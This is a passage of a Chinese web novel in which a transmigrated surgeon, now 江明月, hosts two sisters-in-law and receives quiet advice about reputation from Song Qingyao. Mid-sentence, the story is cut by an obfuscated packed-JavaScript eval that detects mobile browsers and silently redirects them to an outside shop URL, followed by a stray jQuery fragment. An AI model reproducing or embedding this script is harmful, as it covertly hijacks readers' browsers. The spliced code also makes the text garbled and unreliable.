犹记得当年她快毕业时,导师老头愣是愁得整整三天没睡觉,在把头顶坚守的最后一撮战士送去天堂后,老头忍痛取消了关门弟子的留京名额,把人发配到了云华省。
安宁大为不解,找老头拍胸脯:“老师,就你学生这资质,还怕在京城混不出头吗?”
老头凿了她一个爆栗:“我要是年轻二十岁,你想走都没门!”
又语重心长道:“你这孩子,头脑聪明,也肯下苦功,就是这情商实在太……太一般。想当一个好医生,不是单纯技术好就可以,老师老了,护不住你几年,所以,才让你去云华,让你师姐护着你。”
安宁眼睛一眯,脸上现出“我情商低?”的不忿神情,然后又挨了个爆栗。
老头毫不留情地一脚给她卷出师门,遥遥挥手:“好好跟你师姐学习!”
下了山的孙猴子,不,安宁有种被抛弃的不甘心,怀揣满腔悲愤去了云华,誓要作出一番成绩,杀回京城,让老头看看什么叫大圣归来。
然后……
然后初出茅庐的大圣就被各路神仙混合毒打,要不是有大师姐护法,别说娶真经,只怕金箍棒都让人撅折几百回了。
至此,安宁才不得不跟老头承认——
看人真准!
好在她还有大师姐——
云华第一医院的业务副院长,年仅46岁的神外一把刀,真正的六边形战士,为人那叫一个八面玲珑,春风化雨,任是多刻薄计较的人,也会道一句“此人不错”的顶尖牛人。
作为老头的开山大弟子,她对自己的蠢师妹照顾得堪称无微不至,终于在辛苦浇灌数年后,把蠢师妹托举成了云华的神外三把刀。
一时间,在神外这个男医生更多的领域,云华的神外姐妹花可谓风头无两。
只是这三把刀的风评嘛,比起一把刀,得差出个十万八千里,巡回护士长好心总结——
“安大夫技术没得说,就是人太直了点儿。”
“直”在云华方言中,约等于“愣”。
如今,愣头青安大夫正在小说世界里横冲直撞,乍然遇到“师姐”,一时间眼泪都快下来了。
新“师姐”自然没让她失望,见她应对生疏,不动声色地把话题主持人的角色揽过去,三个人吃吃聊聊,倒也渐渐熟络起来。
谈到兴头上,洛灵好奇道:“明月,听说你把满府旧仆都送去了庄子,可是真的?”
“是。”安宁敢作敢当。
“你不怕敬王同你吵?”
“那就吵喽,我又不怕他。”
洛灵流露出羡慕的神色:“昨日明都就传遍了,我还不信呢,如今看这府中仆婢整肃,并未生乱,真的很好,满府都是自己人,想说什么做什么都可以。”
安宁精神一振,感觉嗅到了同类的气息:“你也想这么做?”
洛灵叹气:“我倒是想呀,只是王爷待我极好,我不能惹他生气。”
宋清瑶闻言蹙起眉头,什么茶言茶语!这不明晃晃嘲笑江明月同敬王不合嘛!
她知道洛灵无心,就怕江明月听者有意,因此忙看向上首,见安宁面上没有任何异色,一颗悬着的心才稍微放松,连忙浅笑着将话题圆过去:“灵儿说笑,各人府中情况不同,焉能一概而论?”
洛灵这才反应过来自己说错了话,慌忙向安宁道歉:“明月,我没有别的意思。”
安宁心虚一笑:“没事。”
其实她根本没明白,甚至很奇怪对方为什么道歉,说的都是大实话啊!
宋清瑶觉得不能继续这个话题了,于是终结今日谈话会,起身向安宁道别:“如今你身子大好了,我和灵儿也就放心了,往后咱们妯娌常走动,多在一处说话,也免了长日寂寞。”
安宁点头如捣蒜,依依不舍地送两人到门口,主要是送她的新“师姐”。
宋清瑶有意放慢脚步,看着洛灵的马车驶远,踏上马凳的脚又落了回来。
她回身执起安宁的手,柔声道:“你我名分上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568872|186398||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虽是你长,但实际我长你一岁,便不惭唤你一声妹妹。妹妹,今日我见你便觉得投缘,少不得要劝你一劝。”
安宁立即摆出一副谨听师姐教诲的认真模样。
宋清瑶见她一副摇尾巴的小狗相,心中便泛起些柔软,她抚了抚安宁微皱的袖口,郑重道:“我知以妹妹今时今日的地位,可以不在乎许多事,但唯有名声一条,还望妹妹慎而重之。”
又是名声,安宁一听这俩字脑子就开始嗡嗡,抵触情绪一下就上来了,但面对温柔版的“新”师姐,到底装住了脸,没让微笑垮下去。
宋清瑶见她眼中有烦闷之色,却不以为忤,坚持说下去:“这世道,身为女子行之不易,常常为声名所累,不敢行差踏错一步,但是,在某些时候,这束缚自身的重重枷锁未尝不是自保的利器。”
安宁:“……”
她怔住,看新“师姐”的眼神渐渐生出异色。
宋清瑶见她有所思,便欣慰地拍拍对方的手,转身上马车。
她撩开车帘,冲安宁挥挥手:“早春风寒,快回去吧,得空我再来看你。”
安宁却没走,目送着宋清瑶的马车消失在街角。
她眸光微微闪动——有意思,这还是她作天作地这么久,听到的第一个不同论调。
宋清瑶靠在车厢壁闭目养神,贴身嬷嬷忙在她腿上盖好厚毛毯,又递给她一个新的暖手炉。
触及自家小姐冰冷的指尖时,嬷嬷不由心疼地抱怨道:“那敬王妃眼见着不是个聪明的,王妃何苦多费一番口舌,倒在风口站了许久,你素来畏寒,回去只怕膝盖又疼。”
宋清瑶睁开眼,从车窗探出头去,见安宁还站在原地,便雅然一笑,再次挥手道别。
她回到车厢,看着从小照顾自己的乳母,声音轻轻的:“嬷嬷说她蠢笨?”
乳母别过眼,不情愿道:“……老奴失言。”
宋清瑶摇摇头,目光落在虚空:“人皆道她愚蠢,却不知,大智,才效愚。”